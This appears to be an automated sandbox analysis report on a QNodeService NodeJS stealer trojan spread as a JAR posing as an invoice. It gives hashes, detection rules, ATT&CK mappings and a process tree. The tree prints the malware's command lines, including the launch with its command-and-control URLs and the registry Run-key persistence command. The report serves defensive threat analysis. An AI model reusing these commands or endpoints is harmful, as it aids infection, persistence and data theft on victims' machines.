qnodeservice | 1ed58cab0503e46cb79ba34561c543135dab8969d7d82685573797699a0b7b7d

General

Target

Invoice FVF-33620200711 Payment confirmation.jar
Size

12KB
MD5

5ad9084d4c1eb71401e72628e5f6c0be
SHA1

0487680ad4c77db95ffd7178c790a5f0c0ebf2b7
SHA256

1ed58cab0503e46cb79ba34561c543135dab8969d7d82685573797699a0b7b7d
SHA512

2500f55d3419067b61f0f53d7ca8e04b22c109c6c81bea2281371467b171f66168eb9723f713152b294d651955df2cb0267bb42ec6ead5573864c5e515800d59

Score

10^/10

Malware Config

Signatures

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfff-117.dat	family_qnodeservice

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-ed6ef9e2 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-ed6ef9e2.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Loads dropped DLL 4 IoCs

pid	Process
1836	node.exe
1836	node.exe
1836	node.exe
1836	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1836	node.exe
1836	node.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adbe-115.dat	js
behavioral2/files/0x000100000001adbe-121.dat	js

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	wtfismyip.com
11	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 1092	3820	java.exe	68
PID 3820 wrote to memory of 1092	3820	java.exe	68
PID 1092 wrote to memory of 1500	1092	node.exe	69
PID 1092 wrote to memory of 1500	1092	node.exe	69
PID 1500 wrote to memory of 1648	1500	cmd.exe	70
PID 1500 wrote to memory of 1648	1500	cmd.exe	70
PID 1092 wrote to memory of 1836	1092	node.exe	71
PID 1092 wrote to memory of 1836	1092	node.exe	71

Executes dropped EXE 2 IoCs

pid	Process
1092	node.exe
1836	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Invoice FVF-33620200711 Payment confirmation.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://wps.chickenkiller.com --central-base-url https://wpsq.ddnsfree.com
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ed6ef9e2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-ed6ef9e2.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ed6ef9e2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-ed6ef9e2.cmd\""
      4⤵
      Adds Run key to start application
      PID:1648
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://wps.chickenkiller.com --central-base-url https://wpsq.ddnsfree.com
    3⤵
    - Checks processor information in registry
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Executes dropped EXE
    PID:1836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1092-116-0x000001B54CA00000-0x000001B54CA01000-memory.dmp

Filesize
4KB

Download
memory/1836-122-0x00000310F4F80000-0x00000310F4F81000-memory.dmp

Filesize
4KB

Download

Analysis

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